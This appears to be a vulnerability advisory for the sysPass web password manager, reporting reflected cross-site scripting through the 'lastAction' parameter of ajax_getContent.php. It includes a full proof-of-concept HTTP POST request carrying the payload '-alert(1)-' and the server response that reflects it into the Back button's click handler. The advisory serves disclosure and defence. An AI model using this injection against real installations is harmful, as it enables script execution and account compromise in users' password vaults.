~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Overview:

sysPass is an web based Password Manager written in PHP and Ajax with a
built-in multiuser environment.

The functionality "Account Details" is prone to a reflected cross-site
scripting vulnerability.

The software manufacturer describes the web application as follows
(see [1]):

"sysPass is a web password manager written in PHP that allows the
password management in a centralized way and in a multiuser environment.
The main features are:

* HTML5 and Ajax based interface

* MySQL, OpenLDAP and Active Directory authentication.
* Activity alerts by email.
* Accounts change history.
* Accounts files management.
* Inline image preview.
* Multilanguage.
* Links to external Wiki.
* Portable backup.
* Action tracking and event log.
* One-step install process."

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Vulnerability Details:

The PHP script ajax_getContent.php of the web application functionality
"Account Details" is vulnerable to reflected cross-site scripting
via the parameter "lastAction".

The web application sysPass inserts the injected code into the "back"
button of the result web page where it can be triggered.

This reflected cross-site scripting vulnerability can be exploited in
the context of an authenticated user by sending a specially crafted HTTP
POST request (see PoC section).

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Proof of Concept (PoC):

The following HTTP POST request using the JavaScript code "'-alert(1)-'"
as  the value for the parameter "lastAction" demonstrates the reflected
cross-site scripting vulnerability by showing a JavaScript alert box
after the "back" button was clicked:

POST /sysPass/ajax/ajax_getContent.php HTTP/1.1
Host: <HOST>
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:39.0) Gecko/20100101 Firefox/39.0
Accept: text/html, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://localhost/sysPass/index.php

Cookie: PHPSESSID=<SESSIONID>
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

action=accview&lastAction=accsearch'-alert(1)-'&id=1&isAjax=1


The server answers as follows:

HTTP/1.1 200 OK
(...)
<img src="imgs/back.png" title="Back" class="inputImg" id="btnBack"
             OnClick="doAction('accsearch&#39;-alert(1)-&#39;', 'accview',1)"/>
(...)
